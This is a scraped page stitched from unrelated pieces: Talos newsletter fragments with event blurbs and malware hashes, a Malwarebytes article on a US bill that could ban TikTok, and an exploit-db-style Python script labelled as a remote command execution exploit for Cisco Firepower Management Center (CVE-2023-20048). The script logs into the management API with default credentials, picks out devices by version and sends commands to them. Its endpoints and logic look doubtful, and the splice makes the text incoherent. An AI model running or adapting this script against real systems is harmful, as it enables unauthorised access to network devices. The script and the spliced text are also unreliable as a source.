*   Heather Couk is here to keep your spirits up during a cyber emergency, even if it takes the “Rocky” music 
*   Another Patch Tuesday with no zero-days, only two critical vulnerabilities disclosed by Microsoft 
*   Talos Takes Ep. #175: What's new about GhostSec's ransomware-as-a-service model 

**Upcoming events where you can find Talos **

**Botconf** **(April 23 - 26)** 

_Nice, Côte d'Azur, France_

> _This presentation from Chetan Raghuprasad details the Supershell C2 framework. Threat actors are using this framework massively and creating botnets with the Supershell implants._

**CARO Workshop 2024** **(May 1 - 3)** 

_Arlington, Virginia_

> Over the past year, we’ve observed a substantial uptick in attacks by YoroTrooper, a relatively nascent espionage-oriented threat actor operating against the Commonwealth of Independent Countries (CIS) since at least 2022. Asheer Malhotra's presentation at CARO 2024 will provide an overview of their various campaigns detailing the commodity and custom-built malware employed by the actor, their discovery and evolution in tactics. He will present a timeline of successful intrusions carried out by YoroTrooper targeting high-value individuals associated with CIS government agencies over the last two years.

**RSA** **(May 6 - 9)** 

_San Francisco, California_   

**Most prevalent malware files from Talos telemetry over the past week **

**SHA 256:** a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91    
**MD5:** 7bdbd180c081fa63ca94f9c22c457376   
**Typical Filename:** c0dwjdi6a.dll   
**Claimed Product:** N/A    
**Detection Name:** Trojan.GenericKD.33515991 

**SHA 256:** 24283c2eda68c559f85db7bf7ccfe3f81e2c7dfc98a304b2056f1a7c053594fe   
**MD5:** 49ae44d48c8ff0ee1b23a310cb2ecf5a   
**Typical Filename:** nYzVlQyRnQmDcXk   
**Claimed Product:** N/A   
**Detection Name:** Win.Dropper.Scar::tpd 

**SHA 256:** e38c53aedf49017c47725e4912fc7560e1c8ece2633c05057b22fd4a8ed28eb3   
**MD5:** c16df0bfc6fda86dbfa8948a566d32c1   
**Typical Filename:** CEPlus.docm   
**Claimed Product:** N/A    
**Detection Name:** Doc.Downloader.Pwshell::mash.sr.sbx.vioc 

**SHA 256:** 9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507    
**MD5:** 2915b3f8b703eb744fc54c81f4a9c67f    
**Typical Filename:** VID001.exe    
**Claimed Product:** N/A    
**Detection Name:** Win.Worm.Coinminer::1201 

**SHA 256:** e4973db44081591e9bff5117946defbef6041397e56164f485cf8ec57b1d8934   
**MD5:** 93fefc3e88ffb78abb36365fa5cf857c   
**Typical Filename:** Wextract   
**Claimed Product:** Internet Explorer   
**Detection Name:** W32.File.MalParent

Not everything has to be a massive, global cyber attack

A bill that passed the House of Representatives would ban TikTok from the US unless Chinese owner ByteDance gives up its share of the app.

The House of Representatives has passed a bill that would effectively ban TikTok from the US unless Chinese owner ByteDance gives up its share of the immensely popular app.

TikTok is an immensely popular social media platform that allows users to create, share, and discover, short video clips. It’s experienced explosive growth since it first appeared in 2017, and is now said to have well over 1.5 billion users, with an estimated 170 million of them in the US.

Since 2020, several governments and organizations have banned, or considered banning, TikTok from their staff’s devices, but a complete ban of an internet app would be a first in the US.

Other countries have done this before. In 2020, India was the first country to ban TikTok, along with around 200 other Chinese apps that were all blocked from operating within the country. The ban cost TikTok some 200 million users.

General Paul Nakasone, Director of the National Security Agency (NSA) certainly fueled the feeling of necessity for such a ban. Speaking at a US Senate hearing in March 2023, the general said “one third of Americans get their news from TikTok”, adding “one sixth of American youth say they’re constantly on TikTok. That’s a loaded gun.”

And a former executive at TikTok’s parent company ByteDance claimed in court documents that the Chinese Communist Party (CCP) had access to TikTok data, despite the data being stored in the US. The allegations were made in a wrongful dismissal lawsuit which was filed in May in the San Francisco Superior Court.

Ever since then, TikTok has been battling to convince politicians that it operates independently of ByteDance, which has deep ties to the CCP. For example, TikTok has repeatedly claimed the Chinese government never demanded access to US data and that TikTok would not comply if it did.

All this, and the fear of foreign influence on the upcoming elections, led to the bipartisan legislation introduced in the House with the expectation to send it to the Senate later this week.

Essentially, the bill says that TikTok has to find a new owner that is not based in a foreign adversarial country within the next 180 days or face a ban until it does comply.

The Electronic Frontier Foundation (EFF), an international non-profit digital rights group based in the US, says it opposes this bill, mainly because it is afraid that TikTok will not be the last app to face this type of ban. It mentions Tencent’s WeChat app as an example of what could be the next target.

A year ago, supporters of digital rights across the country successfully stopped the federal RESTRICT Act aka the “TikTok ban.” The RESTRICT Act was introduced in the United States Senate on March 7, 2023 and requires federal actions to identify and mitigate foreign threats to information and communications technology products and services (e.g., social media applications). It also establishes civil and criminal penalties for violations under the bill.

The EFF argues that the bill will not stop the sharing of data but it will reduce online rights in a way that is unconstitutional. And it says the focus should be on the common practice of data collection in the first place, rather than single out one app.

The point made by the EFF stipulates that data brokers will continue to sell our information to whomever is willing to pay. And the apps providing brokers with data are certainly not limited to those that hail from a foreign adversarial country.

Chinese officials reportedly said the government would “firmly oppose” any forced sale of TikTok because it would “seriously undermine the confidence of investors from various countries, including China, to invest in the United States.”

****Check your digital footprint****

If you want to find out how much of your data has been exposed online, you can try our free Digital Footprint scan. Fill in the email address you’re curious about (it’s best to submit the one you most frequently use) and we’ll send you a free report.

**We don’t just report on threats – we help safeguard your entire digital identit**y

Cybersecurity risks should never spread beyond a headline. Protect your—and your family’s—personal information by using Malwarebytes Identity Theft Protection.

 TikTok faces ban in US unless it parts ways with Chinese owner ByteDance 

Cisco Firepower Management Center suffers from an authenticated remote command execution vulnerability. Many versions spanning the 7.x.x.x and 6.x.x.x branches are affected.

# Exploit Title: [Cisco Firepower Management Center]  
# Google Dork: [non]  
# Date: [12/06/2023]  
# Exploit Author: [Abdualhadi khalifa](https://twitter.com/absholi_ly)  
# Version: [6.2.3.18", "6.4.0.16", "6.6.7.1]  
# CVE : [CVE-2023-20048]

import requests  
import json

# set the variables for the URL, username, and password for the FMC web services interface  
fmc_url = "https://fmc.example.com"  
fmc_user = "admin"  
fmc_pass = "cisco123"

# create a requests session to handle cookies and certificate verification  
session = requests.Session()  
session.verify = False

# send a POST request to the /api/fmc_platform/v1/auth/generatetoken endpoint to get the access token and refresh token  
token_url = fmc_url + "/api/fmc_platform/v1/auth/generatetoken"  
response = session.post(token_url, auth=(fmc_user, fmc_pass))

# check the response status and extract the access token and refresh token from the response headers  
# set the access token as the authorization header for the subsequent requests  
try:  
    if response.status_code == 200:  
        access_token = response.headers["X-auth-access-token"]  
        refresh_token = response.headers["X-auth-refresh-token"]  
        session.headers["Authorization"] = access_token  
    else:  
        print("Failed to get tokens, status code: " + str(response.status_code))  
        exit()  
except Exception as e:  
    print(e)  
    exit()

# set the variable for the domain id  
# change this to your domain id  
domain_id = "e276abec-e0f2-11e3-8169-6d9ed49b625f"

# send a GET request to the /api/fmc_config/v1/domain/{DOMAIN_UUID}/devices/devicerecords endpoint to get the list of devices managed by FMC  
devices_url = fmc_url + "/api/fmc_config/v1/domain/" + domain_id + "/devices/devicerecords"  
response = session.get(devices_url)

# check the response status and extract the data as a json object  
try:  
    if response.status_code == 200:  
        data = response.json()  
    else:  
        print("Failed to get devices, status code: " + str(response.status_code))  
        exit()  
except Exception as e:  
    print(e)  
    exit()

# parse the data to get the list of device names and URLs  
devices = []  
for item in data["items"]:  
    device_name = item["name"]  
    device_url = item["links"]["self"]  
    devices.append((device_name, device_url))

# loop through the list of devices and send a GET request to the URL of each device to get the device details  
for device in devices:  
    device_name, device_url = device  
    response = session.get(device_url)

    # check the response status and extract the data as a json object  
    try:  
        if response.status_code == 200:  
            data = response.json()  
        else:  
            print("Failed to get device details, status code: " + str(response.status_code))  
            continue  
    except Exception as e:  
        print(e)  
        continue

    # parse the data to get the device type, software version, and configuration URL  
    device_type = data["type"]  
    device_version = data["metadata"]["softwareVersion"]  
    config_url = data["metadata"]["configURL"]

    # check if the device type is FTD and the software version is vulnerable to the CVE-2023-20048 vulnerability  
    # use the values from the affected products section in the security advisory  
    if device_type == "FTD" and device_version in ["6.2.3.18", "6.4.0.16", "6.6.7.1"]:  
        print("Device " + device_name + " is vulnerable to CVE-2023-20048")

        # create a list of commands that you want to execute on the device  
        commands = ["show version", "show running-config", "show interfaces"]  
        device_id = device_url.split("/")[-1]

        # loop through the list of commands and send a POST request to the /api/fmc_config/v1/domain/{DOMAIN_UUID}/devices/devicerecords/{DEVICE_ID}/operational/command/{COMMAND} endpoint to execute each command on the device  
        # replace {DOMAIN_UUID} with your domain id, {DEVICE_ID} with your device id, and {COMMAND} with the command you want to execute  
        for command in commands:  
            command_url = fmc_url + "/api/fmc_config/v1/domain/" + domain_id + "/devices/devicerecords/" + device_id + "/operational/command/" + command  
            response = session.post(command_url)

            # check the response status and extract the data as a json object  
            try:  
                if response.status_code == 200:  
                    data = response.json()  
                else:  
                    print("Failed to execute command, status code: " + str(response.status_code))  
                    continue  
            except Exception as e:  
                print(e)  
                continue

            # parse the data to get the result of the command execution and print it  
            result = data["result"]  
            print("Command: " + command)  
            print("Result: " + result)

    else:  
        print("Device " + device_name + " is not vulnerable to CVE-2023-20048")

Tag

#cisco